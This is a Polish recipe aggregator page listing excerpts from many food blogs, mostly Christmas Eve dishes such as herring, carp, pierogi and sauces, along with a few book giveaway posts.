gyros i ananasem Sałatka z makaronem mini kolanka, kurczakiem gyros, papryką, kukurydzą i ogórkiem konserwowym Sałatka z wędzonym kurczakiem i makaronem Sałatka z nuggetsami, rukolą, serem i pomidorkami z sosem musztardowym Sałatka z rukolą, kurczakiem, pomidorami i oliwkami Sałatka z zupek chińskich, z kurczakiem Sałatka meksykańska z kurczakiem i pomidorami Sałatka Gyros Sałatka z pieczarkami marynowanymi, kurczakiem i fasolą Sałatki

Kulinarne Przeboje
Smaczny orzech do zgryzienia - warsztaty z Kikkoman i Tabasco 212

Dziś zapraszam Was na relację ze smakowitych warsztatów z orzechami, sosami Kikkoman i Tabasco  w roli głównej, które odbyły się  niedawno w warszawskiej restauracji Trzy kolory. Smaczny orzech do zgryzienia - warsztaty z Kikkoman i Tabasco 10 grudnia w warszawskiej restauracji Trzy kolory, na zaproszenie  Kikkoman  i  Tabasco  miałam przyjemność uczestniczyć  warsztatach kulinarnych

Kulinarne przygody Gatity
SUM WIGILIJNY 185

powiecie na małą zamianę świątecznej ryby? Zamiast karpia sum pieczony w sosie  koperkowo - musztardowym?  Przepyszna jest ta ryba. Bardzo szybka w przygotowaniu, bez smażenia, bez babrania w mąkach,naprawdę warto spróbować. Pierwszy raz ją przygotowywałam i jadłam. W ogóle nie wiedziałam jak się za nią zabrać, na szczęście był to już gotowy filet - z całą nie dałabym rady

pieprzny smaczek
Pieczeń z szynki szpikowana 224

masła. Wstawiłem do piekarnika nagrzanego do 200 stopni C. i piekłem 10 minut. Następnie temperaturę zmniejszyłem do 180 stopni C i zapiekałem jeszcze godzinę. W trakcie pieczenia polewałem wytworzonym sosem. Na półmisku udekorowałem, rozmarynem, kisielem żurawinowym i czosnkiem marynowanym

R'n'G Kitchen
Śledź w śmietanie z jabłkiem 176

się miękkie. Następnie odciąłem ogony i płetwy grzbietowe i z tuszek śledzi wykroiłem filety, które pokroiłem w około dwucentymetrowe plasterki. Tak przygotowane śledzie odłożyłem na bok do czasu przygotowania sosu. Jabłko obrałem ze skórki i starłem na tarce o grubych oczkach. Polecam użyć miękkiego słodkiego w smaku jabłka. Starte jabłko umieściłem w miseczce. Połowę białej cebuli pokroiłem w cienkie piórka

Wyprawy kulinarne
Ryba w pomidorach 186

razu układać w misce. Cebulę pokroić w piórka i zeszklić. Na patelnię (do cebuli) dolać odrobinę wody, wrzucić listek laurowy, ziele angielskie, dodać koncentrat pomidorowy, zagotować i chwilę poddusić. Sos doprawić solą i pieprzem (w razie konieczności również koncentratem pomidorowym). Po lekkim ostudzeniu polać po rybie. Można zrezygnować z panierowania w jajku. Wystarczy rybę obtoczyć w mące i od razu

Di gotuje
ŚLEDZIE PO KASZUBSKU 158

dobrze się połączyły. Odstawić do wystygnięcia. Filety ze śledzia odcedzić z wody, osuszyć na papierowym ręczniku i pokroić na mniejsze kawałki. Rybę układać w szklanym naczyniu, na przemian z sosem. Odstawić do lodówki, żeby się "przegryzły

Kuchnia w opałach
Pyszne śledzie wigilijne 1216

Mieszamy i dusimy na małym ogniu, pod przykryciem około 10 minut. Następnie zdejmujemy z ognia, dodajemy rodzynki i odstawiamy do wystygnięcia. Śledzie kroimy na mniejsze kawałki i mieszamy z sosem. Przekładamy do słoików lub zamykanego pojemnika. Przechowujemy w lodówce. Życzę smacznego

Swojskie jedzonko
farszynki meksykańskie 187

Farszynki to nic innego jak cienkie ciasto drożdżowe (takie jak na pizzę) wypełnione pikantnym nadzieniem z mięsa mielonego i warzyw. Podałam je na ciepło z sosem czosnkowym, bo takie najbardziej lubimy. Już od dłuższego czasu rozglądałam się za mąką typu 00 czyli specjalną do ciasta na pizzę czy calzone ale nigdzie jej nie mogłam znaleźć. Wreszcie taką prawdziwą włoską mąkę

Domowa Cukierenka-Domowa Kuchnia
Szybki parówkowy obiad. 198

Ziemniaki obieramy, kroimy w kawałki i gotujemy do miękkości. Wodę zagotowujemy w garnku i dodajemy bulionetkę cały czas mieszając aż się całkowicie rozpuści. Kiedy już mamy gotową bazę na sos zagęszczamy go odrobiną mąki doprawiamy solą i pieprzem i wsypujemy prażoną cebulkę. Gotujemy około 5 minut - mieszając. Parówki wrzucamy do wody i podgrzewamy aż zaczną się gotować. Masło rozpuszczamy

Moje-pitraszenie
Śledzie z rodzynkami i chili 308

kilka minut. Dodajemy liście laurowe, ziele angielskie, koncentrat, ocet i dusimy chwilę cały czas mieszając. Następnie dodajemy rodzynki, posiekaną papryczkę, smażymy 5 min (cały czas mieszając). Śledzie mieszamy z sosem, doprawiamy pieprzem, przekładamy do słoików i wstawiamy na kilka dni do lodówki. /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size

R'n'G Kitchen
Wigilia o niskim IG z Przepysznikiem i Naturą Rzeczy: Bigos z ciecierzycą 252

Węglowodany – 18g , IG – 28 l litr wrzącej wody 1 kg kapusty kiszonej 10 suszonych śliwek 2 duże garście suszonych grzybów leśnych 3 łyżki oliwy 2 cebule sól, pieprz, sos sojowy, 4-6 sztuki ziele angielskie, 2 liście laurowy, majeranek, kolendra puszka ciecierzycy lub grochu/ciecierzycy 1,5 szklanki (namoczony, ugotowany) Groch/ciecierzycę namaczamy na noc. Grzyby suszone zalewamy wodą i moczymy

Przepysznik - BLW i nie tylko
17 jadalnych prezentów czyli zrób to sam 182

jabłek Mus dyniowo - jabłkowy z płatkami owsianymi i ziarnami chia Owoce z waniliową chałwą i orzechami w miodzie Pasta z pieczonej dyni z suszonymi pomidorami i orzechami włoskimi Śliwkowy sos

Moja smaczna kuchnia
Boczek faszerowany kurczakiem 377

czasie boczek w naczyniu podlać szklanką wody i przykryć. Wstawić do piekarnika nagrzanego na 180 C i piec ok 1,5 godziny, podczas pieczenia można polać wytworzonym sosem. Pod koniec pieczenia odkryć aby wierzch się przyrumienił. Przed krojeniem dobrze wystudzić i schłodzić w lodówce

Monia miesza i gotuje
Udka faszerowane pieczarkami, porem i marchewką 468

udka wyluzować i nafaszerować przesmażonymi warzywami. Jeśli macie ochotę na inne danie z wykorzystaniem mięsa drobiowego to zachęcam do przygotowania udek w cytrynach lub duszonych w pysznym, lekko słodkim sosie .  Składniki na porcję dla 4 osób*: 1 kg udek z kurczaka (8 sztuk) 100 g pieczarek  1 marchewka 1 biała część pora sól, pieprz żółty ser olej Udka

Ugotować
Sałata z fenkuła i mandarynek 201

Mandarynki obieramy ze skórki a następnie każdą cząstkę z błonek (można je podzielić na mniejsze kawałki). Fenkuł układamy na talerzu razem z owocem, posypujemy migdałami i słonecznikiem. Teraz przygotujcie sos – likier połączcie z miodem, ja całość podgrzałam by składniki się połączyły i polejcie sałatę. Smacznego

Szybko Tanio Smacznie
Korzenne śledzie z bakaliami 197

momentu aż się zeszkli, dodajemy miód, ocet, koncentrat pomidorowy, cynamon i goździki, wlewamy odrobinę wody, doprawiamy do smak. Dodajemy bakalie , podgrzewamy przez kilka minut na małym ogniu. Do ostudzonego sosu dodajemy pokrojone na mniejsze kawałki śledzie, delikatnie mieszamy, wstawiamy do lodówki

Bajeczna Kuchnia
Schab gotowany w mleku 217

schab lubi przywierać. Co jakiś czas zmieniamy stronę schabu. Po ugotowaniu mięso wyjmujemy. Pozostałe mleko blendujemy i zagęszczamy mąką. Dodajemy musztardę i doprawiamy do smaku. Tak powstanie fajny sos do mięsa. Życzę smacznego

Czerwona Porzeczka
Pierogi z twarogiem, ricottą i rodzynkami z musem malinowym 192

gotujemy jeszcze przez 4 minuty od momentu ich wypłynięcia na powierzchnię. W niewielkim garnku gotujemy mrożone maliny z dodatkiem wody, do momentu aż płyn odparuje i uzyskamy dość gęsty sos. Pierogi podajemy z musem malinowym, jogurtem naturalnym i świeżymi malinami. Smacznych Świąt życzy Klaudia

Mango Papaja
SPAGHETTI Z SOSEM SEROWYM I BROKUŁAMI 192

części, 1/2 szklankę mleka. Całość podgrzewać mieszając, aż serki roztopią się. Doprawić ziołami, sola i pieprzem. Makaron ugotować w osolonej wodzie al dente. Odcedzić. Rozłożyć na talerzach i polać sosem serowym. SMACZNEGO

Prosto i Smacznie z Anetą
Krucha tarta z żurawiną i ganache z białej czekolady 249

się w cierpkości owoców i ultra gładkim, kremowym czekoladowym nadzieniu. Ganache to podstawowa forma czekolady w cukiernictwie. W zależności od proporcji składników i sposobu przygotowania może być nadzieniem, polewą, sosem lub kremem. Sprawdźcie jakie to proste! Sypkie składniki kruchego ciasta – mąkę, cukier i sól mieszamy. Dodajemy pokrojone masło, siekamy razem. Wbijamy trzy żółtka (białka będę idealne na BEZĘ ) i zagniatamy

Karo in the Kitchen
Wigilia o niskim IG z Przepysznikiem i Naturą Rzeczy: Pełnoziarniste pieczone pierogi ze szpinakiem 252

czasie rozgrzewam piekarnik do 180 stopni (termoobieg). Pieczemy około 25 minut. Pędzlem pocieramy dodatkowo rozmieszanym jajkiem i mlekiem oraz przyprawami np. czerwony pieprz, siemię lniane itp. Podajemy z sosem czosnkowym (dla chętnych): 1 mały jogurt naturalny, 2 ząbki czosnku, ½ łyżeczki pieprzu. Smacznego

Przepysznik - BLW i nie tylko
Skrzydełka w marynacie miodowo- czosnkowej 228

Składniki : skrzydełka Nasz Kurczak 2 x 440 g, 10 skrzydełek 2- 3 łyżki miodu 3 łyżki oleju 3 łyżki sosu sojowego 1 płaska łyżeczka pieprzu 2 płaskie łyżeczki soli 4 ząbki czosnku płaska łyżka imbiru lub około 3-4 cm imbiru świeżego łyżka cynamonu ewentualnie 2-3 gwiazdki anyżu - można pominąć  Przygotowanie : Miód rozpuścić w 2-3 łyżkach letniej

Proste Potrawy
Miodowe śledzie z rodzynkami z whisky i cynamonem 189

moczymy w alkoholu. Obraną cebulę  w drobną kostkę. Na rozgrzanym oleju szklimy cebulę, dodajemy miód, pieprz, cynamon i rodzynki, mieszamy i zdejmujemy z ognia. Odstawiamy do wystygnięcia. Mieszamy sos ze śledziami. Odstawiamy na całą noc do lodówki. Śledzie podajemy na dużych plastrach jabłka i dekorujemy natką pietruszki

Bon Appetit Małgorzaty
GOŁĄBKI WIGILIJNE 359

wszystkich liści.Następnie na każdy liść nałożyć 2 łyżki farszu, zawinąć.Gotowe gołąbki przełożyć do garnka, zalać 500 ml wody, gotować ok. 25 min na małym ogniu. Podawać z sosem grzybowo-śmietanowym lub z pomidorowym

pieprzny smaczek
Superfood na co dzień - Jamie Oliver / KONKURS 250

szpinakiem, serkiem wiejskim i słonecznikiem czy niesamowite krewetki po marokańsku z puszystym kuskusem z tęczową salsą! Znajdzie się też ryba na parze po azjatycku z czarnym ryżem, warzywami i sosem chili, zapiekany bakłażan z harissą, z granatem, z pistacjami, z oliwkami i ryżem. Pyszne samosy z wołowiną, cebulą i batatem, sałatka z pieczonej marchewki i dyni, z kaszą jaglaną, jabłkiem

Plate of Joy
Polędwiczki w sosie śmietanowym 185

rozpuścić, obsmażyć mięso po 2 minuty z każdej strony, dodać przeciśnięty przez praskę czosnek, doprawić solą i pieprzem. Całość zalać śmietaną, dusić parę minut, aż mięso będzie miękkie, a sos zgęstnieje. Gotowe, smacznego

magiczna kuchnia Kasi
Mousse z tuńczyka 182

czas stania w kuchni, pichcenia i ten przepis pozwoli Wam zaoszczędzić czasu i kłopotu. A sukces gwarantowany! Do przygotowania mousse z tuńczyka potrzebujecie: – 2 puszki tuńczyka w sosie własnym – 1 szklankę majonezu – 1 szklanka śmietany/jogurtu (polecam jogurt, wtedy całość jest o wiele lżejsza. O kaloriach nie wspominam!) – sól, pieprz – 12 g żelatyny

Szybko Tanio Smacznie
Kotlety z pieczarek (smażonych) 170

www.facebook.com/Di.gotuje http://digotuje.blogspot.com   Przepis autorski (mój).  Kotlety smakują rewelacyjnie - są soczyste i aromatyczne. Idealnie nadają się do świeżej bułki lub podane do obiadu z ulubionym sosem. (około 5 kotletów) 200g pieczarek 1 cebula 1 jajko 3 łyżki bułki tartej szczypiorek (opcjonalnie) posiekana natka pietruszki sól, pieprz Dodatkowo: bułka tarta do obtaczania olej do smażenia     Cebulę

Di gotuje
Makaron z serem 163

przygotowana na moje powitanie - słuchajcie raz jeden w życiu to jadłam i polecam a były to pierogi ruskie zrobione własnoręcznie przez moją mamę i dodany do tego oryginalny włoski sos pomidorowy. Wygląd miało średni ale pychota. Tak więc z tego względu, że podróżowałam do Włoch w moim domu zazwyczaj króluje makaron. Choć akurat to danie akurat kojarzy mi się

Tanio smacznie i prosto
Penne z łososiem 197

Penne ze szpinakiem i łososiem w sosie śmietanowym  Składniki: - opakowanie makaronu penne - opakowanie mrożonego szpinaku - kilka ząbków czosnku - filet z łososia surowy - masło - śmietana - sól, pieprz Tą potrawę odkryłam w tym roku gdy zostałam zabrana na dzień kobiet na obiad. Po pierwszym kęsie po prostu się rozpłynęłam. Niebo w gębie, brak słów, żeby opisać ten smak. Postanowiłam więc powtórzyć

Tanio smacznie i prosto
Zdrowa kolacja 236

traci właściwości odżywcze. Paprykę kroję w cienkie paseczki bądź w kostkę to już według uznania. Cebulę dodaję czasami gdyż cebula napusza żołądek ale z cebulą lepiej smakuje. Czasem dodaję sos vinegret albo łyżkę jogurtu naturalnego 0%,troszkę soli i pieprzu. Mieszam wszystko razem. Kaszę gotuję według przepisu na opakowaniu. Smacznego !!!!!!! Podsumowanie: Sałata lodowa ok. 4 zł/szt. Cebula czerwona

Tanio smacznie i prosto
Szynka wieprzowa 207

czasie wyjmuje mięso rozcinam rękaw foliowy piekarnik przełączam na termoobieg i piekę jeszcze ok 15-20 min do zrumienienia się wierzchu mięsa, od czasu do czasu podlewając sosem powstałym z pieczeni. Po tym czasie wyjmuje mięso z piekarnika przekładam na talerz odczekuje 10 min żeby mięso odleżało swoje, a później to już wystarczy pokroić i na talerz. UWAGA !!! Czas pieczenia

Piekielna Kuchnia Pati
Kaszanka inaczej 241

plasterki jabłka, i tak aż do końca foremki. Całość posypujemy przyprawą do ziemniaków. Do śmietany dodajemy całe jajko i dokładnie mieszamy, dodajemy starty cheddar, mieszamy i gotowym sosem polewamy naszą zapiekankę. Piekarnik nagrzewamy do 190 stopni i wkładamy zapiekankę na 30 min. Po tym czasie wyciągamy i posypujemy serem wędzonym i wstawiamy do momentu jak ser ładnie się rozpuści

Piekielna Kuchnia Pati
Spaghetti bolognese 154

drobno siekamy. Boczek kroimy w drobną kostkę, wytapiamy na oliwie. Do boczku dodajemy mięso i warzywa, podsmażamy i zalewamy winem. Smażymy na małym ogniu do całkowitego odparowania wina. Do sosu dodajemy passatę, oregano i pieprz. Całość zalewamy bulionem i gotujemy na małym ogniu przez dwie godziny. Nadmiar płynu odparowujemy, dodajemy śmietanę, doprawiamy do smaku solą i pieprzem. Makaron gotujemy zgodnie

R'n'G Kitchen
Feijoada po raz kolejny 215

wieprzowa - pół kilo kości cielęcych. Mięso oraz boczek kroimy w kawałki i wrzucamy do głębokiego garnka/miski. Bierzemy blender. Wrzucamy do niego 2 cebule, 2 papryki zielone i miksujemy. Otrzymany sos do pokrojonego mięsa. Dodajemy również 2 łyżki koncentratu pomidorowego (my polecamy koncentrat pudliszki).  Tym razem nie udało się nam kupić zmielonego kuminu dlatego zastąpiliśmy go kminem rzymskim całym, który

Smaki Brazylii
Rolady wieprzowe z boczkiem i ogórkiem kiszonym. Zrazy z karkówki. 321

mięsem.) Rolady piekę w temperaturze 180 stopni z termoobiegiem ok. półtorej godziny. Piekę w przykrytym naczyniu, podczas pieczenia dwa razy obracam rolady, w razie potrzeby dolewam gorącej wody. Powstały sos można zagęścić w/g upodobać śmietaną, lub mąką. Swoje roladki podałam z ziemniakami purre i sałatka z buraczków z jabłkiem. Smacznego

Kuchnia z widokiem na ogród
Roladki z mięsa mielonego 179

lodówki. Po tym czasie roladki wygładzić za pomocą zwilżonych dłoni. Smażyć z każdej strony na rozgrzanym oleju. Odsączyć z nadmiaru tłuszczu (na ręczniku kuchennym). Podawałam z ryżem i sosem serowo-czosnkowym

Di gotuje
Śledzie po sułtańsku 248

istotne, bo robimy dzień wcześniej, a potem tylko przekładamy do salaterki i podajemy na stół :) Składniki : ok. 400 g płatów śledziowych spora cebula 150 ml przecieru pomidorowego (ja użyłam sosu własnej roboty z pomidorków koktajlowych , ale można użyć kupnego) pół łyżeczki ostrej pasty paprykowej np. sambal oelek 100 g rodzynek wrzątek sól czarny pieprz szczypta (dosłownie odrobina) mielonego cynamonu łyżka

Weekendy w domu i ogrodzie
Pulled beef - wyczesana wołowina długo pieczona 316

Dlaczego wyczesaną? Ano dlatego, że po długim pieczeniu jest bardzo mięciutka i włókna mięsa rozczesuje się, rozdziela na pasma, po prostu dwoma widelcami. Do mięsa musi być dobrze doprawiony sos i wtedy całość tworzy pyszne danie. Można je serwować na różne sposoby - ja podałam je z puree ziemniaczanym i duszoną kapustą czerwoną , ale świetnie sprawdzi się też jako wsad

Smaczna Pyza
Duszona cielęcina z grzybami 237

grzyby i pozostałe przyprawy. Zalać bulionem i nastawić program STEW i czas 35 minut. Po upływie czasu wyłowić mięsko a wywar zmiksować na gładką konsystencję (tak powstanie nam ekstra sos

ClauditteMissCooking
Świąteczna kuchnia staropolska – warsztaty kulinarne 210

czym gotujemy przez 2-3 minuty i odstawiamy na bok. Na drugiej patelni rozgrzewamy olej i smażymy na nim śledzie przez około 4-5 minut. Rybę podajemy z rakami, sosem limonkowym oraz jajami łososia. Mam nadzieję,że załączone zdjęcia i przepisy zachęcą Was do eksperymentów z kuchnią staropolską. Dziękuję za zaproszenie

karmelowy
Sałatka z tuńczyka z makaronem 221

wyrazistości i takiego odświętnego wyrazu. Wcześniej przygotowywałam bez pomidorów i nie cieszyła się takim powodzeniem, a teraz wszyscy zajadaliśmy się nią ze smakiem. Składniki: 1 puszka tuńczyka we własnym sosie 1 papryka czerwona 1 cebula 2 ząbki czosnku 6 - 7 suszonych pomidorów 100 g makaronu z mąki semolina lub razowego 1 -2 łyżki dobrego majonezu 2 - 3 łyżki jogurtu greckiego

Kuchcik gotuje
Gulasz z żołądków drobiowych 220

wsypać mąkę (energicznie mieszając, aby nie powstały grudki). Smażyć do nabrania złotego koloru. Zasmażkę dodać do garnka (mieszając) wraz z majerankiem, papryką i odrobiną gałki muszkatołowej. Gotować - aż sos zgęstnieje. Doprawić do smaku i posypać posiekaną zieleniną

Di gotuje
Tuńczykowo-marchewkowy pasztet z soczewicy 152

duże marchewki łyżeczka majeranku 1 łyżeczka lubczyku 1 łyżeczka suszonej natki pietruszki 1 łyżeczka mielonej słodkiej papryki szczypta kurkumy łyżeczka pieprzu grubo mielonego sól do smaku łyżka amarantusa ekspandowanego sos: 160 g jogurtu naturalnego łyżka pikantnej musztardy łyżeczka soku z cytryny szczypta pieprzu Kaszę i soczewicę gotujemy do miękkości (kaszę 12 minut, soczewicę czerwoną 8 minut, zieloną 40 minut). Piekarnik

Mienta blog
Pikantne skrzydełka z cynamonem 166

gustu szczególnie jak pojawiają się %.  Składniki:  2 kg skrzydełek 3 szalotki  4 ząbki czosnku 4 dymki 1 papryczka chilli 1,5 łyżeczki mielonego cynamonu 2 łyżki sosu sojowego 150 g miodu 1 płaska łyżeczka soli 1,5 łyżeczki mielonego pieprzu papier pergaminowy do pieczenia Ciekawe rozwiązania znajdziecie tutaj  Przygotowanie: Wszystkie składniki z wyjątkiem skrzydełek

Niezły Młynek
Śledź z wędzonym łososiem w śmietanie 182

Dzisiaj kolejny przepis na śledzie na świątecznym stole. Ale to nie będą tylko śledzie bo połączyłam je z wędzonym łososiem. Całość zalana sosem śmietanowym, z dodatkiem ogórków, cebuli i jabłka. Fajny pomysł, całkiem smacznie obie ryby się w tym daniu połączyły. Zapraszam. Czytaj więcej

Bernika - moj kulinarny pamietnik
Najlepsze śledzie wigilijne 76986

Mieszamy i dusimy na małym ogniu, pod przykryciem około 10 minut. Następnie zdejmujemy z ognia, dodajemy rodzynki i odstawiamy do wystygnięcia. Śledzie kroimy na mniejsze kawałki i mieszamy z sosem. Przekładamy do słoików lub zamykanego pojemnika. Przechowujemy w lodówce. Życzę smacznego! ;) Przepis pochodzi ze strony www.gotowaniecieszy.blox.pl

Czerwona Porzeczka
Papryka faszerowana kaszą jaglaną i kurczakiem 191

Papryka faszerowana kaszą jaglaną, kurczakiem i warzywami w sosie pomidorowym zapiekana z parmezanem (2 połówki papryki) Składniki: 1 czerwona papryka 1/4 szklanki kaszy jaglanej (+ 1/2 szklanki wody do zagotowania) 100g kurczaka 1/2 puszki krojonych pomidorów łyżka kukurydzy z puszki garść tartego parmezanu Przygotowanie: Kaszę jaglaną płuczemy na sitku pod zimną, bieżącą wodą, przelewamy wrzątkiem, po czym wrzucamy do 1/2 szklanki

Moja Micha
Placki z wędzoną makrelą i buraczkami 182

Podgotowane buraki obrać, pokroić w kostkę. Na patelni roztopić masło, wrzucić buraczki. Chwilę podsmażyć. Powinny zmięknąć, ale pozostać jędrne. Na usmażone placki nakładać porcję buraczków i kawałek ryby. Przykryć sosem chrzanowym, posypać szczypiorem. Od razu podawać. Smacznego

Pełny talerz
Naleśniki pomarańczowe Suzette 229

Wpis pochodzi z www.mgotuje.pl Naleśniki francuskie o nazwie Caprese Suzette. To pyszne, cieniutkie naleśniki zatopione w sosie pomarańczowym, które cieszą się popularnością na całym świecie i nic dziwnego ponieważ smakują obłędnie. W tradycyjnym przepisie najpierw karmelizuje się cukier, później dodaje się masło oraz sok z pomarańczy oraz likier. Ja jednak przygotowałam swoją

Marta Gotuje
Ryba „po grecku” 316

szybszy w przygotowaniu, a zarazem utrzymany w nieco bardziej egzotycznym klimacie. Różne mogą być upodobania co do miękkości warzyw – jedni wolą doprowadzić je do stanu, w którym są niemalże sosem, inni wolą coś bardziej zbliżonego do al dente . Na pora wiele nie poradzimy – jeżeli kroimy go jak w przepisie w paski, wówczas do „zjadliwej” miękkości potrzebuje ok. 25 minut

Kulinarna Pokusa
Karp smażony w ziołowej panierce 212

pietruszki i koperkiem. Kawałki karpia obtaczamy w mące, roztrzepanym jajku i bułce z ziołami. Smażymy na rozgrzanym oleju na małym ogniu na złoty kolor z obydwu stron, podajemy z sosem chrzanowym

Bajeczna Kuchnia
Śledzie po cygańsku 550

Pyszne śledzie w sosie pomidorowym z cebulką i ogórkami konserwowymi, możemy przyrządzić je na święta lub wigilię. Składniki: 0,5 kilograma filetów śledziowych 2 cebule 5 ogórków konserwowych 0,5 szklanki oleju 0,5 szklanki ketchupu 1 łyżka octu jabłkowego pieprz cukier olej do smażenia Sposób przygotowania: Śledzie moczymy przez 1-1,5 godziny, kroimy na mniejsze kawałki. Cebulę obieramy

Bajeczna Kuchnia
Rolmopsy z ogórkiem 220

przepisy ze śledziem w roli głównej: Śledź po kaszubsku II   Śledź wiejski Śledź po kaszubsku Śledź w oleju z pieczonymi burakami Śledź w oleju z cebulą Śledź w sosie czosnkowym Rolmopsy z ogórkiem Czas przygotowania: 30 minut + czas marynowania Składniki: 5 filetów śledziowych 5 małych konserwowych ogórków 1 cebula musztarda dijon czarny pieprz  wykałaczki Zalewa 2/3 szklanki

Kulinarne przygody Gatity
Śledzie piernikowe w musztardzie, whisky i wiśniówce 275

rondelka wlewamy olej, miód, musztardę, wiśniówkę i whisky. Mieszamy dokładnie trzepaczką balonową i najpierw wszystko lekko podgrzewamy. Nie przejmujcie się tym, że mikstura się rozdziela. Do zagrzanych składników sosu dorzucamy przyprawy – anyż, goździki, gorczycę, kolendrę, pieprz ziarnisty, wyłuskany kardamon– można je dodać w całości, ale lepiej drobno je utłuc w moździerzu – będą bardziej aromatyczne. Wsypujemy mielony cynamon, gałkę i imbir

Karo in the Kitchen
.1170. postanowiłam 162

owsianka na mleku sojowym z malinami (w środku również) i sosem z masła z nerkowców *~ * masło z nerkowców Primavika rozpuszczone z małą ilością mleka sojowego Po pierwsze bardzo dziękuję za wszystkie wczorajsze komenatrze! :) ♥ Ostatnio myślę chyba zbyt pesymistycznie...Blogosfera wciąż się zmienia, dużo bloggerów odeszło, wciąż przychodzą nowi...Ja jednak postanowiłam, że zostanę :) Uświadomiliście mi, że jednak jest sens prowadzić

breakfast of dreams
Pyzy ziemniaczane 162

Jako, że jestem kluskowo-pierogowo-ziemniaczanym stworzeniem, to pyzy chcę czy nie muszę lubić Puszyste, mięciutkie kuleczki na bazie ziemniaków podawane z sosem lub skwarkami z cebulką. Dodawać śmietanę do pyz to jakaś profanacja A poważnie, co kto lubi. Kluski idealne jako dodatek do mięs jak i samodzielne danie. Z tego przepisu wychodzą jasne kluski, za to w Warszawie, skąd

Mieszam w Garnku
Śledź w musztardzie 178

zimnej wodzie. Majonez mieszamy z jogurtem dodajemy obie musztardy, przyprawiamy do smaku, mieszamy. Cebulę pokroić w drobną kosteczkę. Filet pokroić na mniejsze kawałki, przełożyć do miseczki dodać cebulę polać sosem, wszystko dokładnie wymieszać.  Tak przygotowanego śledzia, przykrywamy i odkładamy na całą noc do lodówki. Smacznego

magiczna kuchnia Kasi
Lista świątecznych przepisów – potrawy na Wigilię i święta Bożego Narodzenia 316

kiszonych buraków Wódka żurawinowa. Żurawinowo-pomarańczowa z wanilią Elegancki i szybki pasztet z kurzych wątróbek – bez pieczenia Kaczka 5 smaków na purée z ziemniaków i selera, ze śliwkowym sosem whisky i surówką z fenkułu Szynka pieczona w rękawie – szynka 2w1 ‘Magiczne ciasto’ – jedno ciasto, po upieczeniu – trzy różne warstwy! Pierniczki świąteczne 2w1 – z tego samego ciasta na choinkę

Karo in the Kitchen
Śledzie w sosie śmietanowo-ogórkowym 222

gorącą wodą i również odstawiamy na 15 minut. Ogórek puści wodę, którą należy dokładnie odcisnąć. Cebulę odcedzamy. Śmietanę mieszamy z jogurtem, przeciśniętym przez praskę czosnkiem, ogórkiem, cebulą i przyprawami. Sos mieszamy ze śledziem. Odstawiamy do lodówki na kilka godzin

e-PrzepisyKulinarne
Sałatka z buraków i dlaczego marzy mi się nowy piekarnilk 225

miękkie. Wystudzić, obrać, pokroić w cienkie plasterki. Wymieszać sok z cytryny z solą, pieprzem, startym czosnkiem, dodać oliwę, miód i jeszcze raz  dobrze wymieszać  - można w słoiku. Sosem polać buraczki, posypać pokruszonym serem i orzechami. Podawać. Pyszne. Smacznego ! wpis powstał we współpracy z   Gorenje Polska

Stare Gary
Zupa rybna z jesiotrem, ciecierzycą, pomidorami i jarmużem 217

rękami przywożąc pięknego jesiotra. Ryba była jak na ten gatunek nieduża bo ważyła ok. 2 kg. To jednak pozwoliło mi na przygotowanie dwóch porządnych obiadów. Był Jesiotr duszony w sosie grzybowym i bardzo treściwa, smaczna zupa, którą prezentuję dzisiaj. Taką lub podobną zupę możecie ugotować nie tylko na jesiotrze , ale także na innych rybach. Podstawą jest esencjonalny bulion przyrządzony

Smaczna Pyza
Roladki schabowe z kapustą i pieczarkami 170

następnie w szerokim rondlu o grubym dnie smażyć z każdej strony na rumiany kolor. Podlać ok 1/2l wody i dusić ok 30-40 minut aż mięso będzie miękkie. Powstały sos można zagęścić łyżką mąki, w razie konieczności doprawić jeszcze do smaku

Smakołyki Asi
Wytrawne ciasteczka serowo – cebulowe 206

Niby nic ale rodzica cieszy i to jak!  Zrobicie jak uważacie - paluchy, ślimaczki, a może paszteciki? Będą smaczne na ciepło i na zimno. Możemy je podawać z ulubionym sosem lub popijać czerwonym barszczem. Jednym słowem – idealna przekąska :). Składniki: Na ciasto: ½ kg twarogu półtłustego, ½ kg mąki tortowej, 250 g margaryny, ulubiona mieszanka przypraw: może być do grosa, pizzy lub mozzarelli

Nie tylko w kuchni
Gulasz wieprzowy 214

zeszklić na tej samej patelni. Wrzucić do gotującego się gulaszu. Całość doprawić słodką papryką, solą i pieprzem i dusić na wolnym ogniu około godzinę, aż mięso będzie wystarczająco miękkie. Sos można zagęścić mąką wymieszaną z odrobiną wody

wyzwania kuchenne
Pizza z pesto i łososiem 197

Pomysł na bardzo ciekawą i smaczną pizzę. Tym razem zamiast sosu pomidorowego użyłam pesto. Na wierzchu cebula, łosoś i parmezan. Przepis na ciasto (na dwie duże pizze) znajdziecie tutaj . Poniżej podaję składniki na jedną pizzę: 2 łyżki pesto (użyłam gotowego pesto bazyliowego) ok. 100 g mozzarelli ok. 40 g wędzonego łososia 1/2 małej cebuli 1 łyżka drobno utartego parmezanu Ciasto

Bullio
Schab z mozzarellą oliwkami i pomidorem pieczony w mleku kokosowym 186

piecz roladki zanurzone w mleku kokosowym wymieszanym z curry tak do mniej niż do połowy. Po 15 minutach odwróć mięso i piecz kolejne 15 -20 aż się podrumienią. Sos kokosowy możesz zagęścić łyżką mąki ziemniaczanej rozpuszczonej w połowie szklanki z zimną wodą. Podawaj z purre ziemniaczanym i dowolną sałatą. SMACZNEGO. CMOK

Pasje Jolki
Moja ryba po grecku 2977

ciągu roku jako danie obiadowe, wtedy zazwyczaj wykorzystuję paluszki rybne- to taka szybka wersja :)  Dziś jednak tradycyjnie- biała ryba obtoczona w mące, usmażona, otulona kruchymi warzywami w sosie pomidorowym, który obowiązkowo wzbogacam wędzoną papryką- jak dla mnie bez tej przyprawy już nie smakuje tak dobrze! :) Może przekonajcie się sami?! :) * polędwica z mintaja- 1 kg (lub innej białej ryby: dorsz

Kraina Miodem Płynąca
Na słodko. Domowa piekarnia - Piotr Kucharski / KONKURS 213

kokosowy "sernik" na zimno zrobiony na bazie mleczka kokosowego! Ostatni rozdział przedstawia przepisy na specjalne okazje i święta! Tu również znajdziemy kilka wyjątkowych przepisów - sernik na spodzie bezowym z sosem malinowym, drożdżowy kranz z kruszonką i masą makową, wielkanocna baba drożdżowa, piękną drożdżową koronę z bakaliami, gryczany torcik z kremem orzechowym czy tzw. placek "skubaniec". ____________________________________________________________ KONKURS!!! Mamy dla Was egzemplarz

Plate of Joy
Bardzo kokosowe naleśniki z kokosowym twarożkiem z tofu (wegańskie) 191

